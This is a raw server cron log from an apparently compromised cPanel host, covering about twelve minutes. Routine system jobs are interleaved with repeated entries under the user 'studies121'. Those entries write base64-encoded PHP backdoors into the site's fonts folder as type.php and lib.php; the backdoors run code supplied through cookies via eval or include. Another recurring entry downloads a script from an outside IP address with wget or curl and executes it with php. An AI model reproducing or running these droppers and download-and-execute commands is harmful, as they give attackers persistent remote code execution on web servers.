Sep  5 14:37:01 ip-184-168-122-23 CROND[4640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:37:01 ip-184-168-122-23 CROND[4641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:37:01 ip-184-168-122-23 CROND[4642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:37:01 ip-184-168-122-23 CROND[4643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:38:01 ip-184-168-122-23 CROND[4754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:38:01 ip-184-168-122-23 CROND[4756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:38:01 ip-184-168-122-23 CROND[4755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:38:01 ip-184-168-122-23 CROND[4757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:38:01 ip-184-168-122-23 CROND[4758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:39:01 ip-184-168-122-23 CROND[4940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:39:01 ip-184-168-122-23 CROND[4943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:39:01 ip-184-168-122-23 CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:39:01 ip-184-168-122-23 CROND[4944]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 14:39:01 ip-184-168-122-23 CROND[4945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:40:01 ip-184-168-122-23 CROND[5094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:40:01 ip-184-168-122-23 CROND[5095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:40:01 ip-184-168-122-23 CROND[5101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:41:01 ip-184-168-122-23 CROND[5206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:41:01 ip-184-168-122-23 CROND[5207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:41:01 ip-184-168-122-23 CROND[5208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:41:01 ip-184-168-122-23 CROND[5209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:42:01 ip-184-168-122-23 CROND[5301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:42:01 ip-184-168-122-23 CROND[5304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:42:01 ip-184-168-122-23 CROND[5303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:42:01 ip-184-168-122-23 CROND[5305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:42:01 ip-184-168-122-23 CROND[5302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:43:01 ip-184-168-122-23 CROND[5392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:43:01 ip-184-168-122-23 CROND[5393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:43:01 ip-184-168-122-23 CROND[5394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:43:01 ip-184-168-122-23 CROND[5395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:44:01 ip-184-168-122-23 CROND[5518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:44:01 ip-184-168-122-23 CROND[5519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:44:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:44:01 ip-184-168-122-23 CROND[5521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:44:01 ip-184-168-122-23 CROND[5523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:45:01 ip-184-168-122-23 CROND[5617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:45:01 ip-184-168-122-23 CROND[5618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:45:01 ip-184-168-122-23 CROND[5620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:45:01 ip-184-168-122-23 CROND[5621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:45:01 ip-184-168-122-23 CROND[5619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:45:01 ip-184-168-122-23 CROND[5622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:46:01 ip-184-168-122-23 CROND[5787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:46:01 ip-184-168-122-23 CROND[5790]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:46:01 ip-184-168-122-23 CROND[5789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:46:01 ip-184-168-122-23 CROND[5794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:46:01 ip-184-168-122-23 CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 14:46:01 ip-184-168-122-23 CROND[5793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:46:01 ip-184-168-122-23 CROND[5791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:47:01 ip-184-168-122-23 CROND[5893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:47:01 ip-184-168-122-23 CROND[5894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:47:01 ip-184-168-122-23 CROND[5895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:47:01 ip-184-168-122-23 CROND[5896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:48:01 ip-184-168-122-23 CROND[5973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:48:01 ip-184-168-122-23 CROND[5977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:48:01 ip-184-168-122-23 CROND[5978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:48:01 ip-184-168-122-23 CROND[5979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:48:01 ip-184-168-122-23 CROND[5980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:49:01 ip-184-168-122-23 CROND[6075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
